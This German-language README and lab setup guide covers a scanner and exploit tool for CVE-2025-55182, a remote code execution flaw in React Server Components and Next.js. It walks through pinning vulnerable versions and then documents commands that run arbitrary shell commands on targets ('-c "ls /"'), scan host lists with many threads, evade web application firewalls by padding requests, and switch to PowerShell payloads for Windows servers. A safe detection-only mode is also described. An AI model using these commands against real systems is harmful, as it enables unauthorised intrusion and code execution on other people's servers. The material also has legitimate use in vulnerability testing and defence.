
CVE-2025-55182 (React Server Components Deserialisierungs-Schwachstelle für Remote-Codeausführung)
| Komponente | Empfohlene Version für Reproduktion | Anfällige Versionsbereiche |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) und höher |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 oder 19.2.0 | 19.0.0 bis 19.2.0 |
| RSC-Bundler | react-server-dom-webpack | 19.0.0 bis 19.2.0 |
Niedrige Version zwangsweise installieren
cd cve-2025-55182-target
npm install --force
Abhängigkeitsversionen prüfen
npm list react next
# Ausgabe sollte [email protected] und [email protected] anzeigen
Solange die Top-Level-Abhängigkeitsliste [email protected] und [email protected] anzeigt, ist die Umgebung erfolgreich im anfälligen Zustand fixiert. Warn- und Fehlercodes können hier ignoriert werden.
Build:
npm run build
Start:
npm start
Der Server lauscht auf http://localhost:3000. Die Umgebung ist eingerichtet und die Schwachstellenvalidierung kann beginnen.
Schwachstellenerkennung/-scan:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Ein Befehlszeilentool zur Erkennung der React Server Components (RSC)-Schwachstellen CVE-2025-55182 und CVE-2025-66478 in Next.js-Anwendungen.
Technische Details zur Schwachstelle und zur Erkennungsmethode finden Sie in unserem Blogartikel: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Standardmäßig sendet der Scanner eine speziell gestaltete Multipart-POST-Anfrage mit einem RCE-Validierungspayload zur Ausführung einer deterministischen mathematischen Operation (41*271 = 11111). Anfällige Hosts geben das Berechnungsergebnis im Antwortheader X-Action-Redirect als /login?a=11111 zurück.
Der Scanner testet zunächst den Root-Pfad. Wenn der Root-Pfad nicht anfällig ist, folgt er gleichartigen Weiterleitungen (z. B. von / zu /en/) und testet das Ziel der Weiterleitung. Cross-Origin-Weiterleitungen werden nicht verfolgt.
Mit dem Flag --safe-check wird ein sicherer Erkennungsmodus aktiviert, der auf Nebenkanalsignale (wie den Statuscode 500 und bestimmte Fehlerzusammenfassungen) setzt, ohne Code auf dem Ziel auszuführen. Verwenden Sie diesen Modus, wenn RCE nicht ausgeführt werden soll.
Mit dem Flag --waf-bypass werden Rauschdaten am Anfang des Multipart-Anfragetexts hinzugefügt. Dies hilft, WAF-Erkennungen zu umgehen, die nur den vorderen Teil des Anfragetexts analysieren. Die Standardgröße beträgt 128 KB und kann über --waf-bypass-size konfiguriert werden. Bei aktiviertem WAF-Bypass wird das Timeout automatisch auf 20 Sekunden erhöht (sofern nicht explizit gesetzt).
Mit dem Flag --windows wird der Payload von Unix-Shell (echo $((41*271))) auf PowerShell (powershell -c "41*271") umgestellt, geeignet für Ziele, die unter Windows laufen.
pip install -r requirements.txt
Einzelnen Host scannen:
python3 scanner.py -u https://example.com
Hostliste scannen:
python3 scanner.py -l hosts.txt
Mit Multithreading scannen und Ergebnisse speichern:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Mit benutzerdefinierten Headern scannen:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Mit sicherem Nebenkanal-Check scannen:
python3 scanner.py -u https://example.com --safe-check
Windows-Ziele scannen:
python3 scanner.py -u https://example.com --windows
Mit WAF-Bypass scannen:
python3 scanner.py -u https://example.com --waf-bypass
RCE-Befehl ausführen:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Einzelne URL, die geprüft werden soll
-c, --cmd Auszuführender Befehl
-l, --list Datei mit Hosts (einer pro Zeile)
-t, --threads Anzahl gleichzeitiger Threads (Standard: 10)
--timeout Anfrage-Timeout in Sekunden (Standard: 10)
-o, --output Ausgabedatei zum Speichern der Ergebnisse (JSON-Format)
--all-results Alle Ergebnisse speichern, nicht nur anfällige Hosts
-k, --insecure SSL-Zertifikatsprüfung deaktivieren
-H, --header Benutzerdefinierte Anfrage-Header (mehrfach verwendbar)
-v, --verbose Details der Antworten anfälliger Hosts anzeigen
-q, --quiet Nur anfällige Hosts ausgeben
--no-color Farbige Ausgabe deaktivieren
--safe-check Sicheren Nebenkanal-Check anstelle von RCE-PoC verwenden
--windows Windows-PowerShell-Payload statt Unix-Shell verwenden
--waf-bypass Rauschdaten hinzufügen, um WAF-Inhaltsprüfung zu umgehen
--waf-bypass-size Größe der Rauschdaten (KB, Standard: 128)
Der RCE-PoC wurde ursprünglich von @maple3142 öffentlich offengelegt – wir sind sehr dankbar für ihren Beitrag zur Veröffentlichung eines nutzbaren PoCs.
Dieses Tool wurde ursprünglich für die sichere Erkennung dieser RCE entwickelt. Diese Funktion ist weiterhin über den --safe-check-Modus verfügbar.
Die Ergebnisse werden im Terminal ausgegeben. Bei Verwendung von -o werden anfällige Hosts in einer JSON-Datei gespeichert, einschließlich vollständiger HTTP-Anfrage und -Antwort zur Überprüfung.